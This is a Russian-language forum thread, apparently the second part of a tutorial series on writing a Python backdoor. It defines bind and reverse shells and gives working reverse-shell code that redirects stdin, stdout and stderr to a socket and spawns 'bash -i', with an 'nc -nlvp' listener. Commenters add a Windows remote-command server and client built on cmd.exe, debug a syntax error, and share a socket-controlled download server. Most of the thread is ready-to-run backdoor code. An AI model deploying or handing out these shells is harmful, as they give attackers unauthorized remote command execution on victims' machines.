ай спасибо 
п.с. Если можно - выстави тег первой части или ссылку на первую часть, так будет удобнее искать и читать
п.с. Если можно - выстави тег первой части или ссылку на первую часть, так будет удобнее искать и читать
Следуйте инструкциям в видео ниже, чтобы узнать, как установить наш сайт как веб-приложение на главный экран вашего устройства.
Примечание: Эта функция может быть недоступна в некоторых браузерах.
Backdoor(или же "запасной ход") - это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell'у).
Bind Shell - это, когда атакуемая машина играет роль сервера, а машина атакующего - клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell'у.
Reverse Shell - это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell'у.
Subprocess - запускает определенные(заданные вами) процессы.
OS - это модуль, который предназначен для работы с операционной системой.
import subprocess
import socket
import os
host = "имя сервера"
port = порт
sock = socket.socket()
sock.connect((host, port))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
subprocess.call(["bash","-i"])
import subprocess
import socket
import os
host = 192.168.1.X # server name
port = 9191 #ясно дело порт )
sock = socket.socket()
sock.connect((host, port))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
subprocess.call(["bash", "-i"])
nc -nlvp <порт>
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
от душиВсё. Ошибка с тегом SIZE устранена.
Она там есть. В самом начале.Отличная статья!
добавь в первую статью ссылку на вторую. я её там вроде не видел.
Модуль socket можно использовать и на Win. Но оно нам надо?Привет, как я понимаю из help(socket), данный скрипт (функция socket.socket() ) работает только на unix-like os?
Пойду очки протруОна там есть. В самом начале.
---- Добавлено позже ----
Модуль socket можно использовать и на Win. Но оно нам надо?
А сам backdoor для linux![]()
ты не так понял в первую статью Посмотреть вложение 15746Она там есть. В самом начале.
---- Добавлено позже ----
Модуль socket можно использовать и на Win. Но оно нам надо?
А сам backdoor для linux![]()
#!/usr/bin/python3.5
from socket import *
import subprocess, time
# Sever
sock=socket(AF_INET,SOCK_STREAM)
sock.bind(('',9090))
sock.listen(1)
while True:
conn, addr = sock.accept()
print ('Server connect by ',addr)
while True:
try:
data=conn.recv(1024)
except:
break
if not data:
break
result=subprocess.run(['cmd.exe'], stdout=subprocess.PIPE,stderr=subprocess.PIPE, input=data)
conn.send(result.stdout)
conn.send(result.stderr)
# Интересный момент, может кто знает, у меня так нормальна не заработало, если conn.close() вынести с тела второго цикла.
# В примерах у того же Лутца, соединения закрывают в теле первого цикла. Ладно буду розбератся
conn.close()
#!/usr/bin/python3.5
from socket import *
while True:
sock=socket(AF_INET,SOCK_STREAM)
# если не на одной машине будите тестить localhost заменить на IP машины где будет сервер запущен
sock.connect(('localhost',9090))
sinst=input ("введите команду: ")
if sinst=='exit1':
break
st=''
for i in sinst:
if i != "~":
st=st+i
else:
st=st+'\n'
# Для cmd переход на новую строку - выполнения команды
sinst=st+"\n"
sinst=sinst.encode('cp866')
# Метод socket.send ожидает последовательность байтов, а не строку. (методом str.encode)
sock.send(sinst)
while True:
try:
data=sock.recv(1024)
except:
break
if not data:
break
print(data.decode('cp866'))
sock.close()
st=''
for i in sinst:
if i != "~":
st=st+i
else:
st=st+'\n'
# Для cmd переход на новую строку - выполнения команды
sinst=st+"\n"
#!/usr/bin/python3.5
from socket import *
# Sever
sock=socket(AF_INET,SOCK_STREAM)
sock.bind(('',9090))
sock.listen(1)
while True:
conn, addr = sock.accept()
print ('Server connect by ',addr)
#получить не последовательность байтов, а строку, то можно воспользоваться методом str.decode
sinst=input ("ведите команду: ")
if sinst=='exit1':
break
st=''
for i in sinst:
if i != "~":
st=st+i
else:
st=st+'\n'
# Для cmd переход на новую строку - выполнения команды
sinst=st+"\n"
sinst=sinst.encode('cp866')
# Метод socket.send ожидает последовательность байтов, а не строку. (методом str.encode)
conn.send(sinst)
while True:
try:
data=conn.recv(1024)
except:
break
if not data: break
print(data.decode('cp866'))
conn.close()
#!/usr/bin/python3.5
from socket import *
import subprocess, time
while True:
sock=socket(AF_INET,SOCK_STREAM)
sock.connect(('localhost',9090))
try:
data=sock.recv(1024)
if not data:break
result=subprocess.run(['cmd.exe'], stdout=subprocess.PIPE,stderr=subprocess.PIPE, input=data)
except:
break
sock.send(result.stdout)
sock.send(result.stderr)
sock.close()
А еще неплохо было бы запускать это через "python3" ведь синтаксис питона3 и питона2 отличается, вот и выдаёт.у всех всё работает, а лично у меня руки из того места откуда должны расти ноги так что при запуске файла консоль выдаёт следующее:
┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python3 backdr.py
File "backdr.py", line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax
При переходе на python2 происходит всё тоже самое :
┌─[✗]─[kirill@parrot]─[~/Desktop]
└──╼ $python backdr.py
File "backdr.py", line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax
(Проблему решил оказалось что ip надо брать в кавычки")
Если присмотритесь к тому как я запускал в первый раз, то можете заметить, что я запускал через python3А еще неплохо было бы запускать это через "python3" ведь синтаксис питона3 и питона2 отличается, вот и выдаёт.
host = 192.168.1.X # server name
это строка выводит мне ошибку![]()
host = "Здесь_должен_быть_адрес_сервера"
# -*- coding: utf-8 -*-
# !/usr/bin/env python3
import socket
import config
import protocol
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((config.host, config.port))
protocol.send(sock, input())
data = protocol.recv(sock)
sock.close()
print(data)
# -*- coding: utf-8 -*-
# !/usr/bin/env python3
import socket
import threading
from os import listdir, path
import httrack
import config
import protocol
def dl_status_checker(thread, connection):
if thread.isAlive:
protocol.send(connection, "Downloading has started")
else:
protocol.send(connection, "Downloading has FAILED")
def handle_commands(connection, command, params):
if command == "dl":
if params[1] == '0':
params[1] = False
else:
params[1] = True
if not params[1] and len(params) == 2:
params.append(None)
htt_thread = threading.Thread(target=httrack.download, args=(params[0], params[1], params[2]))
htt_thread.start()
dl_status = threading.Timer(2.0, dl_status_checker, args=(htt_thread, connection))
dl_status.start()
elif command == "list":
file_list = listdir(config.sites_directory)
folder_list = []
archive_list = []
for file in file_list:
if path.isdir(config.sites_directory + '/' + file) and file != "hts-cache":
folder_list.append(file)
if path.isfile(config.sites_directory + '/' + file) and \
(file[-7:] == ".tar.gz" or file[-8:] == ".tar.bz2" or file[-5:] == ".tar"):
archive_list.append(file)
site_string = ""
folder_found = False
if folder_list:
site_string += "List of folders:\n" + "\n".join(folder_list)
folder_found = True
if archive_list:
if folder_found:
site_string += "\n================================================================================\n"
site_string += "List of archives:\n" + "\n".join(archive_list)
if site_string == "":
site_string = "Sites not found!"
protocol.send(connection, site_string)
elif command == "load":
load = ""
for i in range (1, 100000):
load += str(i) + ' '
if i % 1000 == 0:
load += '\n'
protocol.send(connection, load)
else:
protocol.send(connection, "Invalid request")
def args_analysis(connection, args):
args = args.split()
handle_commands(connection=connection, command=args[0], params=args[1:])
Client.py
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((config.host, config.port))
sock.listen(True)
while True:
conn, addr = sock.accept()
print('Connected by ', addr)
data = protocol.recv(conn)
args_analysis(connection=conn, args=data)
1 это Client.pyПривет, так я сам не давно начал искать рыскать в поисках данных вещей для ознакомления то и свой вклад на твоё задание тоже введу.
Server.py
Python:# -*- coding: utf-8 -*- # !/usr/bin/env python3 import socket import config import protocol sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((config.host, config.port)) protocol.send(sock, input()) data = protocol.recv(sock) sock.close() print(data)Python:# -*- coding: utf-8 -*- # !/usr/bin/env python3 import socket import threading from os import listdir, path import httrack import config import protocol def dl_status_checker(thread, connection): if thread.isAlive: protocol.send(connection, "Downloading has started") else: protocol.send(connection, "Downloading has FAILED") def handle_commands(connection, command, params): if command == "dl": if params[1] == '0': params[1] = False else: params[1] = True if not params[1] and len(params) == 2: params.append(None) htt_thread = threading.Thread(target=httrack.download, args=(params[0], params[1], params[2])) htt_thread.start() dl_status = threading.Timer(2.0, dl_status_checker, args=(htt_thread, connection)) dl_status.start() elif command == "list": file_list = listdir(config.sites_directory) folder_list = [] archive_list = [] for file in file_list: if path.isdir(config.sites_directory + '/' + file) and file != "hts-cache": folder_list.append(file) if path.isfile(config.sites_directory + '/' + file) and \ (file[-7:] == ".tar.gz" or file[-8:] == ".tar.bz2" or file[-5:] == ".tar"): archive_list.append(file) site_string = "" folder_found = False if folder_list: site_string += "List of folders:\n" + "\n".join(folder_list) folder_found = True if archive_list: if folder_found: site_string += "\n================================================================================\n" site_string += "List of archives:\n" + "\n".join(archive_list) if site_string == "": site_string = "Sites not found!" protocol.send(connection, site_string) elif command == "load": load = "" for i in range (1, 100000): load += str(i) + ' ' if i % 1000 == 0: load += '\n' protocol.send(connection, load) else: protocol.send(connection, "Invalid request") def args_analysis(connection, args): args = args.split() handle_commands(connection=connection, command=args[0], params=args[1:]) Client.py sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((config.host, config.port)) sock.listen(True) while True: conn, addr = sock.accept() print('Connected by ', addr) data = protocol.recv(conn) args_analysis(connection=conn, args=data)
Внизу так как нужны ещё пару слоев кода для работы с этим отребутом сервера то код смогу дать ниже (Не хочу чтоб недо люди использовали то что им не дано хочу чтоб учили все сами, а не Копипастили)
Комментарии
20